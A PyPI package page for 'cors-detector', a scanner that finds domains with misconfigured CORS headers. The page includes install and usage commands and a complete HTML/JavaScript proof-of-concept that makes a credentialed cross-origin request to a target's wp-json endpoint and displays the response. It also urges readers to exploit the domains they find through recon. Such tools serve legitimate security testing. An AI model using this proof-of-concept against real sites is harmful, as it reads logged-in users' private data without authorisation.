The cors-detector package is used to find the vulnerable CORS domains
Project description
CORS-Finder
This tools is developed for identifying the vulnerable cors domain
How to install CORS-Finder:
git clone https://github.com/hariharan005/CORS.git
ls
cd CORS
sudo pip3 install -r requirements.txt
python3 cors.py
Python Version:
- Python 3 (3.x.x) latest version
How to Use CORS-Finder:
For scanning:
cat <domain.txt> | xargs -n1 -P10 python3 corss.py
For scanning with output:
cat <domain.txt> | xargs -n1 -P10 python3 corss.py | tee -a <output.txt>
When its vulnerable:
If the header returns the Access-Control-Allow-Origin: https://vulnerable.com/ Access-Control-Allow-Credentials: true its vulnerable
Note: Not all the time its seems vulnerable, you have to check with cors payload and in the authenticated manner also. Try to exploit and this tool is only for indentifying the vulnerable domain
Note: In this tool i used sample domain file but you have to choose your own url file which you recon using some other recon tool.
Exploitation examples:
Here is the Example code for exploiting the CORS misconfiguration:
Goto this line and replace the URL xhr.open("GET", "https://www.vulnerable.com/blog/wp-json/", true);
<!DOCTYPE html>
<html>
<title>Cors POC</title>
<style>
body{
background-color: white;
justify-content: center;
}
button{
justify-content: center;
align-items: center;
color: white;
border-radius: 8px;
font-size: 18px;
background-color: #6437A0;
position: relative;
width: 10%;
height: 50px;
display: grid;
}
</style>
<body>
<h1>CORS PoC by @crypto_grapper_</h1><span><h2>Hariharan.C</h2></span>
<div id="demo">
<button type="button" onclick="cors()" >Wp-json Exploit</button>
</div>
</div>
<script>
function cors() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhr.open("GET", "https://www.vulnerable.com/blog/wp-json/", true);
xhr.withCredentials = true;
xhr.send();
}
setTimeout(() => {
document.location.reload("#");
}, 5000);
</script>
</body>
</html>
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file cors-detector-1.0.1.tar.gz.
File metadata
- Download URL: cors-detector-1.0.1.tar.gz
- Upload date:
- Size: 3.5 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/4.0.2 CPython/3.10.6
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
1b1857efdd08af20347402091091b14c0d8ce96f11de62d016ef6cfc2a5776eb
|
|
| MD5 |
0c97b4024448cf2cb21fc6b64bb1d8e2
|
|
| BLAKE2b-256 |
fdf8f6556b6f231c292f3b7f4e6a5435769ac3e4a6ae92ef851b97079948de5b
|
File details
Details for the file cors_detector-1.0.1-py3-none-any.whl.
File metadata
- Download URL: cors_detector-1.0.1-py3-none-any.whl
- Upload date:
- Size: 3.9 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/4.0.2 CPython/3.10.6
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
df4664490bdfe06e3ff069d6c5bae91a52b2b8a273f86a1f9379a48cb3be26aa
|
|
| MD5 |
77f3d26874f78b5c19f9373bbe7540d5
|
|
| BLAKE2b-256 |
b10681d24f33780b8c956e777ddf244adce41283cf8e66cd0883a2d557014e09
|
